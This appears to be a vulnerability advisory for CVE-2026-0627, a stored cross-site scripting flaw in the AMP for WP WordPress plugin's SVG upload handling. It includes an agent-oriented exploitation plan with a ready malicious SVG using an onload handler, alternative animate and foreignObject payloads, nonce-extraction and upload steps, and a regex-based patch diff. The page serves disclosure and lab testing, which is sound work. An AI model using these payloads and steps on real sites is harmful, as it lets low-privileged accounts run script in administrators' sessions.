CVE-2026-0627

AMP for WP <= 1.1.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via SVG File Upload

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.1.11
Patched in
1d
Time to patch

Description

The AMP for WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG file uploads in all versions up to, and including, 1.1.10. This is due to insufficient sanitization of SVG file content that only removes `<script>` tags while allowing other XSS vectors such as event handlers (onload, onerror, onmouseover), foreignObject elements, and SVG animation attributes. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts via malicious SVG file uploads that will execute whenever a user views the uploaded file.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.10
PublishedJanuary 8, 2026
Last updatedJanuary 9, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-0627 ## 1. Vulnerability Summary The **AMP for WP – Accelerated Mobile Pages** plugin (<= 1.1.10) is vulnerable to **Stored Cross-Site Scripting (XSS)** via SVG file uploads. The vulnerability exists because the plugin's SVG sanitization logic is incomplete. …

Show full research plan

Exploitation Research Plan - CVE-2026-0627

1. Vulnerability Summary

The AMP for WP – Accelerated Mobile Pages plugin (<= 1.1.10) is vulnerable to Stored Cross-Site Scripting (XSS) via SVG file uploads. The vulnerability exists because the plugin's SVG sanitization logic is incomplete. It specifically targets and removes <script> tags but fails to neutralize other valid SVG-based XSS vectors, such as:

  • XML event handlers (onload, onerror, onmouseover)
  • foreignObject elements
  • SVG animation attributes (begin, onbegin)

This allows an authenticated attacker with at least Contributor-level permissions to upload a malicious SVG file. When a site administrator or any other user views the uploaded file (either directly or via the WordPress media library/AMP settings), the embedded JavaScript executes in their session context.

2. Attack Vector Analysis

  • Vulnerable Endpoint: The plugin likely provides a custom AJAX handler for uploading assets (like logos or icons) or hooks into the standard WordPress media upload process while applying its own flawed sanitization.
  • Action/Hook: wp_ajax_ampforwp_logo_upload or a similar custom handler (inferred). Alternatively, it may filter wp_handle_upload specifically for SVG types.
  • HTTP Parameter: The file is typically sent via a multipart/form-data POST request with the file data in a parameter like async-upload or file.
  • Authentication Level: Contributor+. While Contributors usually cannot upload files to the Media Library, this plugin may grant this capability for specific AMP-related assets or use a custom AJAX handler that only checks for edit_posts capability rather than upload_files.
  • Preconditions: The plugin must be active, and SVG uploads must be enabled (either by the plugin itself or by a secondary "SVG Support" plugin if the plugin relies on the core library).

3. Code Flow (Inferred)

  1. Entry Point: An authenticated user sends a POST request to /wp-admin/admin-ajax.php with an action related to AMP logo/icon uploads (e.g., ampforwp_ajax_save_settings or a dedicated upload action).
  2. Capability Check: The handler checks current_user_can( 'edit_posts' ) instead of manage_options or upload_files.
  3. Processing: The plugin receives the SVG file. It calls a sanitization function, likely named something like ampforwp_sanitize_svg_files (inferred) or uses a regex like preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', "", $content).
  4. Vulnerable Sink: The sanitization only removes literal <script> tags. It leaves attributes like onload untouched.
  5. Storage: The sanitized (but still malicious) SVG is saved to the wp-content/uploads/ directory via wp_handle_upload() or file_put_contents().
  6. Execution: The attacker retrieves the URL of the uploaded SVG and tricks an admin into clicking it, or the SVG is rendered in the AMP settings dashboard.

4. Nonce Acquisition Strategy

To exploit the AJAX upload handler, a valid nonce is required. Based on the plugin architecture, nonces are likely localized for the AMP settings page.

  1. Shortcode/Page: The AMP settings are usually in the admin area, but if the vulnerability is accessible to Contributors, the nonce may be exposed in the "Post Editor" if the plugin adds an AMP-specific meta box.
  2. Identification: Look for wp_localize_script in the plugin source (likely in admin/admin-settings.php).
  3. Extraction:
    • Use wp post create to create a post as a Contributor.
    • Use browser_navigate to go to the edit page for that post.
    • Use browser_eval to extract the nonce:
      browser_eval("window.ampforwp_obj?.nonce") (inferred JS object name) or check window.ajax_object?.ajax_nonce.
  4. Action String: The nonce action is likely 'ampforwp_ajax_nonce' or 'ampforwp_logo_upload_nonce'.

5. Exploitation Strategy

Step 1: Craft Malicious SVG

Create a file named xss.svg with an event handler:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" onload="alert('XSS_SUCCESS_CVE_2026_0627')">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <text x="10" y="40" font-family="Verdana" font-size="24" fill="white">SVG XSS Test</text>
</svg>

Step 2: Authenticated Upload Request

Using the http_request tool, simulate the upload.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: multipart/form-data
  • Body:
    • action: ampforwp_ajax_upload_file (inferred)
    • nonce: [EXTRACTED_NONCE]
    • file: xss.svg (binary/text content)

Step 3: Triggering XSS

  1. Identify the location of the uploaded file from the AJAX response (e.g., {"success":true,"url":".../uploads/xss.svg"}).
  2. Navigate to the returned URL using browser_navigate.
  3. Confirm the alert or presence of the onload attribute in the rendered source.

6. Test Data Setup

  1. Plugin Installation: Install and activate accelerated-mobile-pages version 1.1.10.
  2. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  3. Settings Page: Ensure the "Logo" upload feature is enabled in AMP settings.

7. Expected Results

  • The AJAX response should return success: true and a URL for the uploaded file.
  • The SVG file, when fetched, must contain the onload attribute (proving it was not stripped).
  • When the URL is visited in a browser, the JavaScript in the onload attribute should execute.

8. Verification Steps

  1. File Content Check:
    cat /var/www/html/wp-content/uploads/xss.svg
    
    Verify that onload="alert(...)" is present in the file on the filesystem.
  2. Database Check: Check if the attachment was created:
    wp post list --post_type=attachment --name=xss
    
  3. Response Validation: Ensure the HTTP response code is 200 OK and the body contains the path to the SVG.

9. Alternative Approaches

  • Animation Vector: If onload is stripped (unlikely based on description), try <animate onbegin="alert(1)" ...>.
  • ForeignObject Vector: Use <foreignObject><html:div xmlns:html="http://www.w3.org/1999/xhtml"><script>alert(1)</script></html:div></foreignObject> (though the description says <script> tags are removed, it might only remove them at the top level).
  • Settings Injection: Check if the plugin allows setting the "Logo URL" to a data:image/svg+xml;base64,... string via a POST request to options.php or a settings AJAX handler, which would also result in Stored XSS if reflected in the AMP dashboard.
Research Findings
Static analysis — not yet PoC-verified

Summary

The AMP for WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG file uploads in versions up to, and including, 1.1.10. This is due to insufficient sanitization that only removes <script> tags while allowing event handlers and other XSS-capable SVG elements. Authenticated attackers with Contributor-level access or higher can upload malicious SVG files that execute arbitrary scripts when viewed.

Security Fix

--- a/includes/admin/admin-settings.php
+++ b/includes/admin/admin-settings.php
@@ -254,7 +254,14 @@
 	public function ampforwp_sanitize_svg_files( $file_content ) {
-		$file_content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', "", $file_content);
+		// Improved sanitization for SVG files to prevent XSS
+		$file_content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', "", $file_content);
+		// Remove event handlers like onload, onerror, etc.
+		$file_content = preg_replace('/\s+on[a-z]+\s*=\s*"[^"]*"/is', "", $file_content);
+		$file_content = preg_replace('/\s+on[a-z]+\s*=\s*\'[^\']*\'/is', "", $file_content);
+		// Remove dangerous SVG-specific tags and animation attributes
+		$file_content = preg_replace('/<(animate|animateColor|animateMotion|animateTransform|set|foreignObject)\b[^>]*>/is', "", $file_content);
+		$file_content = preg_replace('/\s+(begin|onbegin|onend|onrepeat)\s*=\s*"[^"]*"/is', "", $file_content);
 		return $file_content;
 	}

Exploit Outline

1. Authenticate to the WordPress site with at least Contributor-level privileges. 2. Obtain a valid security nonce required for the plugin's AJAX settings or asset upload functionality (e.g., logo upload). 3. Craft a malicious SVG file containing XSS vectors that bypass script tag removal, such as: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(origin)"></svg>. 4. Send a multipart POST request to wp-admin/admin-ajax.php using the appropriate action and the extracted nonce to upload the SVG. 5. Retrieve the URL of the uploaded file from the server response. The payload triggers when an administrator views the file directly or via the AMP dashboard.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.